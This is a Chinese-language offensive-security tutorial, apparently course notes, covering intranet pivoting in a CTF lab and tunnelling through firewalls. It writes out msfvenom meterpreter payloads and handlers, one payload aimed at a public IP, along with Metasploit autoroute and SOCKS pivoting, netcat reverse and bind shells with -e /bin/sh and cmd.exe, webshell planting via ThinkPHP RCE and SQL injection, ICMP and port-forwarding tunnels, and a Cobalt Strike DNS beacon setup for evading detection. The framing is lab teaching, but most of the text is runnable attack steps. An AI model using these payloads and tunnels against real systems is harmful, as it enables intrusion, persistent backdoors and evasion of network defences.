remote_port = 6000 #服务端用 6000 端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行 frp 即可
msf⽣成⽊⻢
上传⾄⽬标主机。
msf监听
⽬标机执⾏⽊⻢,上线
案例 3-CFS 三层内网漫游安全测试演练-某 CTF 线下 2019
来源 2019 某 CTF 线下赛真题内网结合 WEB 攻防题库,涉及 WEB 攻击,内网代理路由等技术,每台服务器存在一个 Flag,获取每一个 Flag 对应一个积分,获取三个 Flag 结尾。
Target1:
探针目标-利用 WEB 漏洞(TP5_RCE)-获取 webshell 权限-获取 Flag-Target2
1.生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf
2.接受反弹:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit
3.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit
4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux:
配置 proxychains 后调用工具探针 Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描 TCP 数据包已建立的连接 connect
windows:
利用代理工具 Proxifier 或 SocksCap64 载入代理进行进程访问测试
Target2:
探针目标-利用 WEB 漏洞(SQL 注入)-后台获取 webshell 权限-获取 Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql 注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门 shell
1.生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
2.访问接受:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
3.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24
环境
开始
第⼀台主机的192.168.75.148我们可以直接访问,通过端⼝扫描,得知开启了80端⼝,访问该端⼝得到以下内容
利⽤ThinkPhP的利⽤⼯具攻击
得到⼀个命令执⾏漏洞,写⼊webshell在当前⽬录为2.php
使⽤后⻔管理⼯具进⾏连接
我们要将它作为⼀个跳板,使⽤msf或者CS
现在使⽤攻击机kali
使⽤msf⽣成⼀个Linux后⻔
msf监听
将⽊⻢通过webshell上传⾄⽬标主机,执⾏
msf接受到会话
在msf和cs上有⾃带的代理
信息收集,获取⽹卡信息,看是否有内⽹
除了.76外还有⼀张.22的⽹卡,现在⽆法与他连接
查看路由,看是否和他建⽴路由规则
当前路由为空,添加路由地址,再次查看路由
现在应该可以和.22进⾏通信,但只能在msf会话上操作,⽆法攻击。我们可以使⽤msf在本地开启代理
这⾥应该是设置的srvport.
开始利⽤代理端⼝扫描
扫到.22.128的80端⼝,直接⽤浏览器⽆法打开,配置浏览器代理,直接选择Socks v4.
可以访问
源码中告诉漏洞在哪
进⾏SQL注⼊得到密码账户
通过robots.txt得到登录地址,登录后台
可以通过后台功能得到webshell,可以往⾥⾯写websehll
观察⽹站url查找规律
⽤⼯具连接后⻔。这⾥推荐蚁剑,可以设置代理
连接成功
也可以使⽤Proxifier全局代理⼯具,
还有SocksCap64进程代理⼯具。
加载代理,然后再将webshell管理⼯具在代理隧道中允许
使⽤msf⽣成正向后⻔绑定本机3333端⼝,然后再去寻找⽬标机
将⽊⻢通过websell上传⾄⽬标主机,msf监听
⽬标机执⾏⽊⻢,msf上线
得到⽹络环境,添加路由
重复之前的操作
使⽤nmap -script=all扫描漏洞
内网安全-域横向网络&传输&应用层隧道技术
必备知识点:
1.代理和隧道技术区别?
代理主要是解决访问问题,隧道主要解决安全拦截问题。
2.隧道技术为了解决什么?
隧道主要解决安全拦截问题。
3.隧道技术前期的必备条件?
已经获得⼀定的控制权,但是不能对控制的东⻄进⾏信息收集或执⾏它上⾯的东⻄ 在数据通信被拦截的情况下利⽤隧道技术封装改变通信协议进⾏绕过拦截 CS、MSF⽆法上线,数据传输不稳定⽆回显,出⼝数据被监控,⽹络通信存在问题等
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
实验环境:
案例 1-网络传输应用层检测连通性-检测
1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <IP> <端口>
2. HTTP 协议
用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的
话,就会输出相应的端口信息
3. ICMP 协议
用“ping”命令,执行 ping <IP 地址/域名>
4. DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令
案例 2-网络层 ICMP 隧道 ptunnel 使用-检测,利用
kali2020-Target2-Target3
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的 3389
请求数据给本地 1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
前期要将⼯具上传⾄Target2
在webserver上运行程序
再在kali主机上执⾏命令
发现有流量传过来
连接本地1080端⼝,
弹出远程连接端⼝
在Target3上我们发现3389端⼝正在被Target2请求,实际上是kali请求的
现在远程连接它⾛的不是以前的那个协议,⽽是ICMP流量的数据
把3389流量转成了ICMP流量
案例 3-传输层转发隧道 Portmap 使用-检测,利用(???)
端⼝转发,环境是域环境
windows: lcx
linux:portmap
lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3131
lcx -listen 3131 3333 //监听 3131 转发至 3333
⽤kali连接WEbserver的7777
案例 4-传输层转发隧道 Netcat 使用-检测,利用,功能
Kali2020-god\webserver-god\sqlserver|dc
1.双向连接反弹 shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:nc 192.168.76.132 1234 //主动连接
反弹回会话
反向:受害连接攻击
攻击:nc -lvp 1234
受害:nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe
反弹回shell
2.多向连接反弹 shell-配合转发
反向:
god\Webserver:Lcx.exe -listen 2222 3333
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机:nc -v 192.168.76.143 3333
直接反弹回来了shell
正向该怎么操作呢?实战中改怎么选择正向和反向?
3.相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
案例 5-应用层 DNS 隧道配合 CS 上线-检测,利用,说明
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
1.云主机 Teamserver 配置端口 53 启用-udp
2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
在cs中添加监听器
4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
xiaodi-pc\xiaodi
执⾏完命令之后
⽣成后⻔:
上传后⻔,执⾏,上线
dns上线后视图中的电脑和其他协议不同,速度慢,还要执⾏⼏条命令才能⾏
学隧道的意义?
测试的协议可能会被拦截。 有个⽹站是有80端⼝ ,http服务的。有漏洞,但访问不了,⼀访问就断断续续或直接访问不到。原因可能是对⽅防⽕墙禁⽌你的IP访问或者检测到有异常,这个时候,如果去搞的话,都是http协议,我们可以换个协议去搞。
域横向 CS&MSF 联动shell
⽬标机
启动CS服务端
启动CS客户端
⽬标机执⾏⽊⻢,在CS上上线
启动MSF
接下来,将CS移交到MSF上,⾸先,有创建⼀个监听器,host是msf所在服务器IP
在msf上创建监听器,payload要和cs监听器协议⼀样,端⼝也要⼀样
想要反弹哪个会话,点击视图中对应的电脑,选择Spawn
在msf处上线
从msf到cs,先记录要返回session的id
⽬前三台主机在cs上
现在成了4台
转自:https://www.pudn.com/news/6278021cd7996104df5305d6.html